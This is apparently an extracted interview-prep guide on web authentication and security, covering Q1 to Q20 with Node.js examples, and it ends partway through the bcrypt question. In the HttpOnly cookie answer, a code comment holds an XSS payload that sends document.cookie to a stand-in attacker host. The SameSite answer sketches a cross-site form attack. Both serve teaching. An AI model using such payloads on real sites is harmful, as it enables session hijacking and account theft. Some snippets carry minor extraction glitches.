950 Q&A Series • Section 6 of 10 • Exactly 60 Questions

Auth & Security

60 Interview Questions & Answers

- Authentication & Authorization
- AuthN vs AuthZ Deep Dive
- Session-Based Authentication
- Token-Based Authentication
- JWT (JSON Web Tokens)
- JWT Structure & Claims
- Access Token vs Refresh Token
- Where to Store Tokens
- Cookies vs localStorage
- HttpOnly Cookies
- Secure Cookies
- SameSite Cookies
- OAuth 2.0
- OpenID Connect (OIDC)
- Single Sign-On (SSO)
- Multi-Factor Authentication (MFA)
- Hashing Fundamentals
- Salting Passwords
- bcrypt & Password Security
- XSS (Cross-Site Scripting)
- Types of XSS
- XSS Prevention
- CSRF (Cross-Site Request Forgery)
- CSRF Attack Flow
- CSRF Prevention
- Secure Authentication Design
- Token Security Best Practices
- API Security Fundamentals
- Real-World Security Patterns
- Interview-Level Code Examples (Node.js)

→ All 60 questions answered with production code ←

→ Follow for Next: MongoDB (120 Q) → Behavioral (50 Q) →DevOps & Docker (40 Q) ←

■ Save • ■ Comment 'JS950' for full PDF • ■■ Repost

Kaushal Singh

Full-Stack Dev | MERN + React Native | Next | Python

1M+ Impressions | Follow for React ·React Native · Express · Next · Node · MongoDB · Interview Prep

■ Section 6/10 | 60 Q&A | Next: MongoDB 120 Q | Comment 'JS950'

Q1 What is authentication?

■ Answer

Authentication is the process of verifying the identity of a user, device, or system.

It answers the question: "Who are you?"

How it works:

- User provides credentials (username + password, token, biometric)
- System validates the credentials against stored data
- If valid — user is considered authenticated
- If invalid — access is denied (401 Unauthorized)

Common factors:

- Something you know — password, PIN
- Something you have — phone, hardware key
- Something you are — fingerprint, face ID

In HTTP:

- Stateless by default — auth must be re-verified every request
- Session cookies or tokens carry auth state between requests

```
// Basic authentication flow
async function authenticate(email, password) {
  // 1. Find user
  const user = await User.findOne({ email })
  if (!user) return { success: false, error: "User not found" }

  // 2. Verify credential
  const valid = await bcrypt.compare(password, user.passwordHash)
  if (!valid) return { success: false, error: "Wrong password" }

  // 3. Issue proof of identity (token)
  const token = jwt.sign({ userId: user._id }, process.env.JWT_SECRET, {
    expiresIn: "15m"
  })

  return { success: true, token }
}

// Express middleware — check auth on every protected route
const requireAuth = async (req, res, next) => {
  try {
    const token = req.headers.authorization?.split(" ")[1]
    if (!token) return res.status(401).json({ error: "Not authenticated" })
    const decoded = jwt.verify(token, process.env.JWT_SECRET)
    req.userId = decoded.userId
    next()
  } catch {
    res.status(401).json({ error: "Invalid token" })
  }
}
```

```
30 }
```

■ Interview Tip:
Authentication ≠ Authorization. Authentication proves identity; authorization checks permissions. Both are required for secure systems.

Q2 What is authorization?

■ Answer

Authorization determines what an authenticated user is allowed to do.
It answers: "What can you do?"

Happens AFTER authentication:

- User is authenticated (identity known)
- System checks their permissions
- Access granted or denied per resource/action

Common models:

- RBAC — Role-Based (admin, user, moderator)
- ABAC — Attribute-Based (department, location)
- ACL — Access Control List (per-resource)
- ReBAC — Relation-Based (Google Zanzibar model)

HTTP status codes:

- 401 Unauthorized — not authenticated
- 403 Forbidden — authenticated but not authorized

```
// RBAC — Role-Based Authorization
const authorize = (...roles) => (req, res, next) => {
  if (!req.user) return res.status(401).json({ error: "Not authenticated" })
  if (!roles.includes(req.user.role)) {
    return res.status(403).json({ error: "Forbidden" })
  }
  next()
}

// Permission-based Authorization
const can = (permission) => (req, res, next) => {
  if (!req.user.permissions.includes(permission)) {
    return res.status(403).json({ error: `Need ${permission} permission` })
  }
  next()
}

// Usage
router.delete("/users/:id", authenticate, authorize("admin"), deleteUser)
router.post("/posts", authenticate, can("posts:create"), createPost)
router.get("/reports", authenticate, can("reports:read"), getReports)
```

■ Interview Tip:
401 = "Who are you?" (authentication missing). 403 = "I know who you are, but no." (authorization failed). Using 401 for both is a common mistake.

Q3 Authentication vs Authorization?

■ Answer

Two distinct security concepts often confused.

Authentication (AuthN):

- Verifies IDENTITY — who are you?
- Uses: passwords, tokens, biometrics
- Fails → 401 Unauthorized
- Example: Logging into Gmail

Authorization (AuthZ):

- Verifies PERMISSIONS — what can you do?
- Uses: roles, policies, ACLs
- Fails → 403 Forbidden
- Example: Only admins can delete posts

Key differences:

- AuthN happens before AuthZ
- AuthN is about identity; AuthZ is about access
- Can have AuthN without AuthZ (public APIs with rate limits)

```
// Authentication middleware — WHO are you?
const authenticate = async (req, res, next) => {
  const token = req.headers.authorization?.split(" ")[1]
  if (!token) return res.status(401).json({ error: "No token provided" })
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET)
    req.user = await User.findById(decoded.userId).select("-password")
    if (!req.user) return res.status(401).json({ error: "User not found" })
    next()
  } catch { res.status(401).json({ error: "Invalid or expired token" }) }
}

// Authorization middleware — WHAT can you do?
const authorize = (...allowedRoles) => (req, res, next) => {
  if (!allowedRoles.includes(req.user.role)) {
    return res.status(403).json({ error: "Insufficient permissions" })
  }
  next()
}

// Routes:
router.delete("/posts/:id", authenticate, authorizeOwner(Post), deletePost)
router.get("/admin/users", authenticate, authorize("admin"), getAllUsers)
```

■ Interview Tip:

The key distinction: 401 = not authenticated (who are you?). 403 = authenticated but not authorized (I know who you are, but you can't do this).

Q4 What is session-based auth?

■ Answer

Session-based auth stores user state on the SERVER.

Flow:

1. User logs in with credentials
2. Server creates a session (stored in memory/Redis/DB)
3. Server sends session ID in cookie
4. Browser sends cookie on every request
5. Server looks up session ID → finds user

Pros:

- Immediate session revocation (delete from store)
- Small cookie payload (just an ID)
- Server has full control over sessions

Cons:

- Stateful — server must store sessions
- Horizontal scaling needs shared session store (Redis)
- CSRF vulnerable (mitigate with SameSite cookies)

```
const session = require("express-session")
const RedisStore = require("connect-redis")(session)

// Setup session middleware
app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: true,     // HTTPS only
    sameSite: "strict",
    maxAge: 24 * 60 * 60 * 1000  // 1 day
  }
}))

// Login
app.post("/login", async (req, res) => {
  const user = await verifyCredentials(req.body)
  if (!user) return res.status(401).json({ error: "Invalid credentials" })
  req.session.userId = user._id    // store in session
  res.json({ message: "Logged in" })
})

// Logout (destroys session)
app.post("/logout", (req, res) => {
```

```
  req.session.destroy()
```

```
  res.clearCookie("connect.sid")
  res.json({ message: "Logged out" })
})
```

■ **Interview Tip:**
Use Redis as the session store for scalable apps. Without a shared store, sessions won't work across multiple server instances (load balancer will route to different servers).

Q5 What is token-based auth?

■ Answer

Token-based auth stores user state in a TOKEN (client-side), not on the server.

Flow:

1. User logs in
2. Server generates a signed token (JWT)
3. Client stores the token (localStorage or cookie)
4. Client sends token in Authorization header
5. Server validates token signature — no DB lookup needed

Pros:

- Stateless — no server-side session store needed
- Scales horizontally (any server can validate)
- Works across domains / microservices
- Mobile-friendly (no cookie issues)

Cons:

- Cannot revoke individual tokens (until expiry)
- Token size can be large
- Must handle token refresh flow

```
const jwt = require("jsonwebtoken")

// Issue token on login
app.post("/login", async (req, res) => {
  const user = await verifyCredentials(req.body)
  if (!user) return res.status(401).json({ error: "Invalid" })

  const accessToken = jwt.sign(
    { userId: user._id, role: user.role },
    process.env.JWT_SECRET,
    { expiresIn: "15m" }
  )
  const refreshToken = jwt.sign(
    { userId: user._id },
    process.env.REFRESH_SECRET,
    { expiresIn: "7d" }
  )

  // Refresh token in httpOnly cookie, access token in body
  res.cookie("refreshToken", refreshToken, {
    httpOnly: true, secure: true, sameSite: "strict", maxAge: 7*24*60*60*1000
  })
  res.json({ accessToken })
})

// Validate on each request
```

```
const authenticate = (req, res, next) => {
```

```
  const token = req.headers.authorization?.split(" ")[1]
  if (!token) return res.status(401).json({ error: "No token" })
  try {
    req.user = jwt.verify(token, process.env.JWT_SECRET)
    next()
  } catch { res.status(401).json({ error: "Invalid token" }) }
}
```

■ Interview Tip:
Token-based auth trades revocability for scalability. Use short-lived access tokens (15 min) + long-lived refresh tokens to minimize the revocation problem.

Q6 What is JWT?

■ Answer

JWT (JSON Web Token) is a compact, URL-safe way to transmit claims between parties.

3-part structure (Base64URL encoded):

- Header — algorithm & token type
- Payload — claims (userId, role, exp)
- Signature — HMAC(header.payload, secret)

Signed but NOT encrypted!

- Payload is Base64 encoded — anyone can read it
- Signature only proves it hasn't been tampered with
- Never put passwords or sensitive data in JWT

Stateless validation:

- Server only needs the secret to verify
- No database lookup required
- Any server instance can validate

```
// JWT structure: header.payload.signature
// eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiIxMjMifQ.SflKxwRJSMeKKF2QT4...

const jwt = require("jsonwebtoken")

// SIGN — create a JWT
const token = jwt.sign(
  {
    userId: user._id,   // claim
    role: user.role,    // claim
    iat: Math.floor(Date.now() / 1000)  // issued at
  },
  process.env.JWT_SECRET,  // secret (keep safe!)
  { expiresIn: "15m", issuer: "myapp.com" }
)

// VERIFY — validate + decode
try {
  const decoded = jwt.verify(token, process.env.JWT_SECRET)
  console.log(decoded.userId, decoded.role, decoded.exp)
} catch (err) {
  if (err.name === "TokenExpiredError") {
    // token is valid but expired → refresh
  }
  if (err.name === "JsonWebTokenError") {
    // invalid signature → reject
  }
}

// DECODE (no verification — for debugging only!)
```

```
31 const decoded = jwt.decode(token)  // never trust this for auth!
```

■ Interview Tip:
JWT is signed, not encrypted. Base64URL encoding is reversible — anyone with the token can read the payload. Use HTTPS to protect it in transit.

Q7 Structure of JWT?

■ Answer

JWT = Header . Payload . Signature (3 parts, dot-separated)

1. Header (Base64URL encoded JSON):

- alg — signing algorithm (HS256, RS256)
- typ — token type ("JWT")

2. Payload (Base64URL encoded JSON):

- Registered claims: iss, sub, aud, exp, nbf, iat, jti
- Public claims: userId, role, email
- Private claims: custom app data

3. Signature:

- HMAC-SHA256(base64(header) + "." + base64(payload), secret)
- Verifies the token wasn't tampered with

Important:

- exp — expiration timestamp (Unix)
- iat — issued at timestamp
- jti — JWT ID (for revocation tracking)

```
// Header
{ "alg": "HS256", "typ": "JWT" }
// → eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

// Payload
{
  "sub": "user_123",         // subject (user ID)
  "iss": "api.myapp.com",    // issuer
  "aud": "myapp.com",        // audience
  "iat": 1699900000,         // issued at
  "exp": 1699900900,         // expires (15 min later)
  "jti": "uuid-unique-id",   // JWT ID
  "role": "admin",           // custom claim
  "email": "user@test.com"   // custom claim
}
// → eyJzdWIiOiJ1c2VyXzEyMyIsInJvbGUiOiJhZG1pbiJ9

// Signature
// HMAC_SHA256(
//   "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyXzEyMyJ9",
//   SECRET_KEY
// )
// → SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

// Decode (inspect without verifying)
const parts = token.split(".")
```

```
const payload = JSON.parse(atob(parts[1]))
```

```
28 console.log(payload)  // readable, but not verified!
```

■ Interview Tip:
The payload is just Base64URL encoded — not encrypted. Tools like jwt.io let anyone decode it. Only the signature proves authenticity. NEVER store secrets in JWT payload.

Q8 Access token vs refresh token?

■ Answer

Two-token strategy to balance security and user experience.

Access Token:

- Short-lived (15 min – 1 hour)
- Sent with every API request
- If stolen — attacker has limited time window
- Stored in memory (JS variable) for max security

Refresh Token:

- Long-lived (7 days – 30 days)
- Used ONLY to get new access tokens
- Stored in httpOnly cookie (not accessible to JS)
- Can be revoked server-side

Why both?

- Access token short = limits theft window
- Refresh token long = no repeated logins
- Refresh token httpOnly = XSS-safe

```
// Issue both tokens on login
function generateTokens(userId) {
  const accessToken = jwt.sign(
    { userId, type: "access" },
    process.env.ACCESS_SECRET,
    { expiresIn: "15m" }
  )
  const refreshToken = jwt.sign(
    { userId, type: "refresh" },
    process.env.REFRESH_SECRET,
    { expiresIn: "7d" }
  )
  return { accessToken, refreshToken }
}

// Refresh endpoint — exchange refresh → new access token
app.post("/refresh", async (req, res) => {
  const refreshToken = req.cookies.refreshToken
  if (!refreshToken) return res.status(401).json({ error: "No refresh token" })

  try {
    const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET)
    // Optional: check token is in whitelist (DB)
    const { accessToken, refreshToken: newRefresh } = generateTokens(decoded.userId)
    res.cookie("refreshToken", newRefresh, { httpOnly: true, secure: true })
    res.json({ accessToken })
  } catch {
```

```
    res.status(401).json({ error: "Invalid refresh token" })
```

```
  }
})
```

■ Interview Tip:
Store access tokens in memory (JS variable), NOT localStorage. Store refresh tokens in httpOnly cookies. This combination makes you resistant to both XSS (can't steal access token) and CSRF (refresh token cookie not used for API calls).

Q9 Where to store JWT?

■ Answer

JWT storage location is a critical security decision.

Option 1: localStorage

- ■ Accessible to JavaScript → XSS vulnerability
- If attacker injects script → steals token
- Not recommended for auth tokens

Option 2: sessionStorage

- ■ Also accessible to JS → same XSS risk
- Cleared on tab close (slightly better)

Option 3: httpOnly Cookie

- ■ NOT accessible to JavaScript
- Automatically sent with requests
- CSRF risk → mitigate with SameSite + CSRF token

Option 4: Memory (JS variable)

- ■ Best for access tokens (no persistence)
- Lost on page refresh → use refresh token to renew
- Common pattern: access token in memory + refresh in cookie

```
// ■ AVOID: localStorage (XSS steals it)
localStorage.setItem("token", accessToken)

// ■ BEST: Access token in memory only
let accessToken = null  // module-level variable

async function login(email, password) {
  const res = await fetch("/api/login", {
    method: "POST",
    credentials: "include",  // sends/receives cookies
    body: JSON.stringify({ email, password })
  })
  const data = await res.json()
  accessToken = data.accessToken  // store in memory
}

// ■ Refresh on page load (refresh token in httpOnly cookie)
async function initAuth() {
  const res = await fetch("/api/refresh", { credentials: "include" })
  if (res.ok) {
    const data = await res.json()
    accessToken = data.accessToken  // restore from cookie
  }
}

```

```
// Make authenticated requests
```

```
async function apiCall(url) {
  return fetch(url, {
    headers: { Authorization: `Bearer ${accessToken}` }
  })
}
```

■ Interview Tip:
The access token in memory + refresh token in httpOnly cookie is the most secure pattern. Memory = XSS-safe (no storage). httpOnly cookie = JS-inaccessible. SameSite=Strict cookie = CSRF-safe.

Q10 Cookies vs localStorage?

■ Answer

Two browser storage mechanisms with different security properties.

Cookies:

- Automatically sent with every HTTP request
- Can be httpOnly — not accessible to JS
- Can be Secure — HTTPS only
- Can be SameSite — CSRF protection
- Max size: ~4KB
- Can expire

localStorage:

- Accessible via JS — XSS risk!
- NOT sent with requests automatically
- Persistent across tabs/windows
- Max size: ~5-10MB
- No expiry (until cleared)

Security recommendation:

- Auth tokens → httpOnly cookie
- Non-sensitive UI state → localStorage OK

```
// Setting a secure auth cookie (server-side)
res.cookie("refreshToken", token, {
  httpOnly: true,      // JS cannot access: document.cookie won't show it
  secure: true,        // HTTPS only
  sameSite: "strict",  // not sent on cross-site requests
  maxAge: 7 * 24 * 60 * 60 * 1000,  // 7 days
  path: "/api/refresh"  // only sent to refresh endpoint
})

// Client: can't read httpOnly cookie (good!)
document.cookie  // "" — httpOnly cookies hidden from JS

// localStorage (for non-sensitive data only)
localStorage.setItem("theme", "dark")  // fine
localStorage.setItem("userId", "123")   // okay (not secret)
localStorage.setItem("authToken", tok)  // ■ BAD

// Feature comparison at a glance:
// ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
// ■ Feature          ■ Cookie   ■ localStorage■
// ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
// ■ JS accessible    ■ Maybe    ■ Always ■    ■
// ■ Auto-sent HTTP   ■ Yes      ■ No            ■
// ■ httpOnly flag    ■ Yes ■   ■ No           ■
// ■ XSS risk         ■ Low      ■ High          ■
```

```
// ■ CSRF risk        ■ Yes      ■ No            ■
```

■ **Interview Tip:**
Cookies with httpOnly + Secure + SameSite=Strict are the most secure way to store auth tokens. localStorage is convenient but makes you vulnerable to XSS token theft.

Q11 What is HTTP-only cookie?

■ Answer

An HttpOnly cookie cannot be accessed by JavaScript — only the browser sends it.

Why it matters:

- Regular cookies: document.cookie shows all values
- HttpOnly cookies: hidden from document.cookie
- If attacker injects XSS → cannot steal httpOnly cookies
- Browser automatically includes them in HTTP requests

Use for:

- Session IDs
- Refresh tokens
- Any auth cookie

Not a silver bullet:

- Cookie still sent to server with requests
- CSRF attacks can still use the cookie
- Mitigate CSRF with SameSite attribute

```
// Set HttpOnly cookie
res.cookie("sessionId", sessionToken, {
  httpOnly: true,  // ← this flag
  secure: true,
  sameSite: "strict"
})

// In browser — cannot read it:
document.cookie           // won't include httpOnly cookies
document.cookie.split(";").find(c => c.includes("sessionId"))  // undefined

// But browser DOES send it automatically:
fetch("/api/protected")  // browser includes the cookie!

// Without HttpOnly — XSS can steal it:
// Attacker injects: <s>fetch("evil.com?c="+document.cookie) </script>
// → steals session cookie!

// With HttpOnly — XSS cannot steal it:
// document.cookie returns "" — httpOnly cookie invisible
// Attacker cannot exfiltrate what they cannot read

// Check in browser DevTools:
// Application → Cookies → look for "HttpOnly" checkbox ✓
```

■ **Interview Tip:**
HttpOnly prevents XSS-based session hijacking. Combined with Secure (HTTPS-only) and SameSite (CSRF protection), it forms the complete cookie security trifecta.

Q12 What is secure cookie?

■ Answer

A Secure cookie is only sent over HTTPS — never over plain HTTP.

Why it matters:

- Without Secure flag: cookie sent over HTTP → visible to MITM attackers
- With Secure flag: browser refuses to send over unencrypted connection
- Prevents session hijacking on public WiFi

Rules:

- Always set Secure in production
- In development (localhost HTTP) — may need to omit Secure
- Usually combined with httpOnly + SameSite

In production always set all three:

- httpOnly — no JS access
- Secure — HTTPS only
- SameSite=Strict — no cross-site

```
// Full secure cookie setup
res.cookie("token", value, {
  httpOnly: true,
  secure: process.env.NODE_ENV === "production",  // HTTPS only in prod
  sameSite: "strict",
  maxAge: 7 * 24 * 60 * 60 * 1000
})

// Without Secure: visible over HTTP
// Attacker on same network captures: Cookie: token=abc123

// With Secure: browser blocks HTTP sending
// HTTP request → cookie NOT sent
// HTTPS request → cookie sent

// Helmet.js sets secure defaults:
app.use(helmet())
// Automatically sets Strict-Transport-Security header
// which tells browsers to always use HTTPS for this domain

// HSTS header (forces HTTPS even if user types http://)
res.setHeader("Strict-Transport-Security",
  "max-age=31536000; includeSubDomains"
)
```

■ Interview Tip:
Secure flag alone isn't enough — always pair with httpOnly + SameSite. Also implement HSTS (HTTP Strict Transport Security) to ensure your entire site uses HTTPS, not just cookie transport.

Q13 What is SameSite cookie?

■ Answer

SameSite controls when cookies are sent on cross-site requests.

Three values:

- Strict — only sent to same origin; never cross-site
- Lax — sent on top-level navigations + GET requests
- None — always sent; must have Secure attribute

SameSite=Strict (most secure):

- User clicks link from email → cookie NOT sent
- Perfect for auth cookies
- Can cause UX issues (user appears logged out when following links)

SameSite=Lax (balanced):

- User clicks link → cookie IS sent
- Cross-site POST/PATCH/DELETE → cookie NOT sent
- Good default for most apps

Modern default:

- Browsers default to Lax if not specified

```
// SameSite=Strict — safest, prevents CSRF completely
res.cookie("sessionId", token, {
  sameSite: "strict",
  httpOnly: true,
  secure: true
})

// SameSite=Lax — good balance for most apps
res.cookie("sessionId", token, { sameSite: "lax" })

// SameSite=None — required for cross-site embeds
res.cookie("embed_token", token, {
  sameSite: "none",
  secure: true  // REQUIRED with None!
})

// Attack scenario prevented by SameSite=Strict:
// evil.com has: <form action="bank.com/transfer" method="POST">
// Without SameSite: browser sends bank.com cookie → transfer happens!
// With SameSite=Strict: cross-site POST → cookie NOT sent → rejected

// Lax allows this safe case:
// User clicks link → bank.com/profile (GET navigation)
// Cookie IS sent → user sees profile page (logged in)
```

■ **Interview Tip:**
SameSite=Strict is the modern CSRF solution. For most web apps, SameSite=Lax is a good default that protects against CSRF while keeping normal navigation working.

Q14 What is OAuth?

■ Answer

OAuth 2.0 is an authorization framework that lets third-party apps access user resources without sharing passwords.

Key concept:

- User grants limited access to their data
- No password sharing with third-party
- Access can be scoped and revoked

4 Roles:

- Resource Owner — the user
- Client — the app requesting access
- Authorization Server — issues tokens (Google, GitHub)
- Resource Server — hosts protected data

Common flows:

- Authorization Code — web apps (most secure)
- PKCE — mobile/SPA apps
- Client Credentials — machine-to-machine
- Implicit — deprecated (don't use)

Tokens:

- Access token — short-lived, for API calls
- Refresh token — long-lived, to get new access tokens

```
// OAuth Authorization Code Flow

// Step 1: Redirect user to auth provider
app.get("/auth/google", (req, res) => {
  const params = new URLSearchParams({
    client_id: process.env.GOOGLE_CLIENT_ID,
    redirect_uri: "https://myapp.com/auth/callback",
    response_type: "code",
    scope: "openid email profile",
    state: generateCSRFState()  // prevent CSRF
  })
  res.redirect(`https://accounts.google.com/o/oauth2/auth?${params}`)
})

// Step 2: Handle callback with code
app.get("/auth/callback", async (req, res) => {
  const { code, state } = req.query
  verifyCSRFState(state)  // check state matches

  // Exchange code for tokens
  const tokens = await fetch("https://oauth2.googleapis.com/token", {
    method: "POST",
    body: JSON.stringify({
      code, client_id: process.env.GOOGLE_CLIENT_ID,
```

```
      client_secret: process.env.GOOGLE_CLIENT_SECRET,
      redirect_uri: "https://myapp.com/auth/callback",
      grant_type: "authorization_code"
    })
  }).then(r => r.json())

  // Get user info with access token
  const user = await getUserInfo(tokens.access_token)
  createSession(req, user)
  res.redirect("/dashboard")
})
```

■ Interview Tip:
OAuth 2.0 is for AUTHORIZATION (delegated access). OpenID Connect adds AUTHENTICATION on top of OAuth. Use Passport.js or Auth0 to avoid implementing OAuth flows manually.

Q15 What is OpenID Connect?

■ Answer

OpenID Connect (OIDC) is an identity layer built on top of OAuth 2.0.

OAuth vs OIDC:

- OAuth — authorization (what can the app do?)
- OIDC — authentication (who is the user?)
- OIDC = OAuth 2.0 + ID Token + UserInfo endpoint

ID Token:

- A JWT containing user identity claims
- sub (subject/user ID), email, name, picture
- Signed by the identity provider
- Your app verifies the signature

Providers:

- Google, Apple, Facebook, Microsoft
- Auth0, Okta, AWS Cognito

When to use:

- Social login ("Sign in with Google")
- Enterprise SSO
- Any time you want a trusted identity provider

```
// OIDC adds ID Token to OAuth
// Scope: "openid" triggers OIDC mode

const params = new URLSearchParams({
  scope: "openid email profile",  // "openid" = OIDC mode
  response_type: "code",
  // ... other OAuth params
})

// After token exchange, you get:
// {
//   access_token: "...",   // OAuth access token
//   id_token: "...",       // OIDC ID token (JWT)","
//   refresh_token: "...",
// }

// Verify and decode the ID token
const { OAuth2Client } = require("google-auth-library")
const client = new OAuth2Client(CLIENT_ID)

async function verifyGoogleToken(idToken) {
  const ticket = await client.verifyIdToken({
    idToken,
    audience: CLIENT_ID
```

```
  })
```

```
  const payload = ticket.getPayload()
  return {
    googleId: payload.sub,
    email: payload.email,
    name: payload.name,
    picture: payload.picture,
  }
}
```

■ **Interview Tip:**
OIDC standardizes how identity is shared. The ID Token is your proof of who the user is. Always verify its signature — don't just decode and trust it without verification.

Q16 What is SSO?

■ Answer

SSO (Single Sign-On) lets users authenticate once and access multiple apps.

How it works:

1. User logs into Identity Provider (IdP) once
2. IdP issues a session/token
3. User accesses App A → redirected to IdP → already logged in → granted access
4. Same for App B, App C, etc.

Benefits:

- One password to remember
- Central access control
- Audit trail in one place
- Revoke access in one place

Protocols:

- SAML 2.0 — enterprise, XML-based
- OIDC/OAuth 2.0 — modern, JSON/JWT-based

Examples:

- "Sign in with Google" across multiple sites
- Corporate Active Directory / Okta / Azure AD

```
// SSO with Passport.js (OIDC)
const passport = require("passport")
const { Strategy } = require("passport-openidconnect")

passport.use(new Strategy({
  issuer: "https://accounts.google.com",
  authorizationURL: "https://accounts.google.com/o/oauth2/auth",
  tokenURL: "https://oauth2.googleapis.com/token",
  userInfoURL: "https://www.googleapis.com/oauth2/v3/userinfo",
  clientID: process.env.GOOGLE_CLIENT_ID,
  clientSecret: process.env.GOOGLE_CLIENT_SECRET,
  callbackURL: "/auth/google/callback",
  scope: ["openid", "email", "profile"]
}, (issuer, profile, done) => {
  // Find or create user from SSO profile
  User.findOrCreate({ googleId: profile.id }, (err, user) => done(err, user))
}))

// Routes
app.get("/auth/google", passport.authenticate("openidconnect"))
app.get("/auth/google/callback",
  passport.authenticate("openidconnect", { failureRedirect: "/login" }),
  (req, res) => res.redirect("/dashboard")
)
```

■ Interview Tip:

SSO improves security for enterprises — one strong password + MFA at the IdP is better than weak passwords at 20 different

Q17 What is MFA?

■ Answer

MFA (Multi-Factor Authentication) requires 2+ verification factors to authenticate.

3 factor types:

- Knowledge — something you know (password, PIN)
- Possession — something you have (phone, hardware key)
- Inherence — something you are (fingerprint, face)

MFA methods:

- TOTP — Time-based OTP (Google Authenticator, Authy)
- SMS OTP — code via text (weakest due to SIM swap)
- Email OTP — code via email
- FIDO2/WebAuthn — hardware key (YubiKey)
- Push notification — approve via app

Why:

- Password alone: 1 stolen = account compromised
- MFA: stolen password + need physical device
- 99.9% of automated attacks blocked by MFA

```
const speakeasy = require("speakeasy")
const qrcode = require("qrcode")

// Setup TOTP — generate secret for user
app.post("/mfa/setup", authenticate, async (req, res) => {
  const secret = speakeasy.generateSecret({
    name: `MyApp (${req.user.email})`
  })

  // Save secret to user record (encrypted)
  await User.findByIdAndUpdate(req.user.id, {
    mfaSecret: encrypt(secret.base32),
    mfaEnabled: false  // not enabled until verified
  })

  // Generate QR code for authenticator app
  const qrUrl = await qrcode.toDataURL(secret.otpauth_url)
  res.json({ qr  qrUrl, secret: secret.base32 })
})

// Verify TOTP token during login
app.post("/mfa/verify", async (req, res) => {
  const user = await User.findById(req.body.userId)
  const verified = speakeasy.totp.verify({
    secret: decrypt(user.mfaSecret),
    encoding: "base32",
    token: req.body.otpCode,
    window: 1  // allow 30s clock drift
```

```
  })
  if (!verified) return res.status(401).json({ error: "Invalid code" })
  // Issue full session token
  res.json({ token: issueJWT(user._id) })
})
```

■ Interview Tip:
SMS OTP is the weakest MFA — vulnerable to SIM-swapping attacks. TOTP apps (Authy, Google Authenticator) are better. FIDO2/WebAuthn hardware keys are the strongest. Even weak MFA beats no MFA.

Q18 What is hashing?

■ Answer

Hashing is a one-way transformation of data into a fixed-length digest.

Properties of good hash functions:

- Deterministic — same input = same hash
- One-way — cannot reverse hash to input
- Avalanche effect — tiny input change = completely different hash
- Collision resistant — hard to find two inputs with same hash

Cryptographic hash algorithms:

- MD5 — fast, BROKEN (don't use for security)
- SHA-1 — broken, deprecated
- SHA-256 — strong (used in TLS, Bitcoin)
- bcrypt/argon2 — slow/adaptive (use for passwords)

Hashing vs Encryption:

- Hashing: one-way, no key, produces digest
- Encryption: two-way, requires key, recoverable
- Use hashing for passwords; encryption for data you need to retrieve

```
const crypto = require("crypto")

// SHA-256 hash (fast — NOT for passwords)
const hash = crypto.createHash("sha256")
  .update("my-data")
  .digest("hex")
// → "5f7c3a89..."  (always same output for same input)

// HMAC — hash with a secret key (for message integrity)
const hmac = crypto.createHmac("sha256", process.env.SECRET)
  .update(JSON.stringify(payload))
  .digest("hex")

// Use cases for SHA-256 (not passwords):
// - File integrity checks
// - API request signatures
// - Token fingerprinting

// For passwords — use bcrypt or argon2 (slow hash)
const bcrypt = require("bcrypt")
const passwordHash = await bcrypt.hash("userPassword123", 12)
// → "$2b$12$..." (includes salt + cost factor)

// Fast algorithms are DANGEROUS for passwords:
// SHA-256: ~1 billion hashes/second on GPU → brute-forceable
// bcrypt (12 rounds): ~100 hashes/second → not feasible
```

■ Interview Tip:

Never use MD5 or SHA-1 for passwords. Never use fast hashes (SHA-256) for passwords either — GPUs can compute billions per second, making brute-force trivial. Use bcrypt, scrypt, or argon2.

Q19 What is salting?

■ Answer

A salt is a random value added to a password before hashing to prevent attacks.

Without salt — vulnerable to:

- Rainbow tables — precomputed hash-to-password tables
- Identical hashes — same password → same hash → one crack reveals all

With salt:

- Each password gets unique random salt
- Same password → different hashes
- Rainbow tables useless (would need table per salt)

How it works:

- Salt is randomly generated per user
- salt + password → hashed together
- Salt stored alongside hash (not secret)
- Verification: same salt + input → compare hashes

bcrypt handles salting automatically:

- Generates random salt internally
- Embeds salt in output hash string

```
// Without salt — DANGEROUS
// User1 password: "password123"
// hash("password123") = "482c811da5d5b4..."
// User2 password: "password123"
// hash("password123") = "482c811da5d5b4..."  ← SAME!
// Crack one → crack all users with same password

// With manual salt
const crypto = require("crypto")
function hashWithSalt(password) {
  const salt = crypto.randomBytes(16).toString("hex")  // random!
  const hash = crypto.createHash("sha256")
    .update(salt + password)
    .digest("hex")
  return { hash, salt }  // store both
}

// bcrypt — automatic salting (preferred)
const bcrypt = require("bcrypt")
const hash = await bcrypt.hash("password123", 12)
// hash = "$2b$12$RANDOM_SALT_HERE.HASH_HERE"
//         ↑    ↑ salt (22 chars)  ↑ hash
// Salt is embedded in the output — no separate storage needed!

await bcrypt.compare("password123", hash)  // true
```

```
await bcrypt.compare("password123", hash)  // still true (same salt reused)
```

```
27 await bcrypt.compare("wrong", hash)        // false
```

■ **Interview Tip:**
bcrypt generates and stores the salt for you — it's embedded in the hash string ($2b$12$...). You never need to store the salt separately. Just store the full bcrypt output string.

Q20 What is bcrypt?

■ Answer

bcrypt is a password hashing algorithm designed to be slow and adaptive.

Why bcrypt for passwords:

- Intentionally slow — makes brute force impractical
- Cost factor — increase difficulty as hardware improves
- Built-in salting — no rainbow table attacks
- Widely tested and trusted since 1999

Cost factor (work factor):

- 2^n iterations of the algorithm
- Factor 10 → ~100ms (acceptable)
- Factor 12 → ~250ms (good balance)
- Factor 14 → ~1 second (high security)

Output format:

- $2b$ — version
- 12$ — cost factor
- 22 chars — salt
- 31 chars — hash

Limitations:

- Max input length: 72 bytes

```
const bcrypt = require("bcrypt")

// Hash password on registration
const COST_FACTOR = 12  // ~250ms per hash
const hash = await bcrypt.hash(plainTextPassword, COST_FACTOR)
// Output: "$2b$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy"

// Verify on login
const isValid = await bcrypt.compare(inputPassword, storedHash)
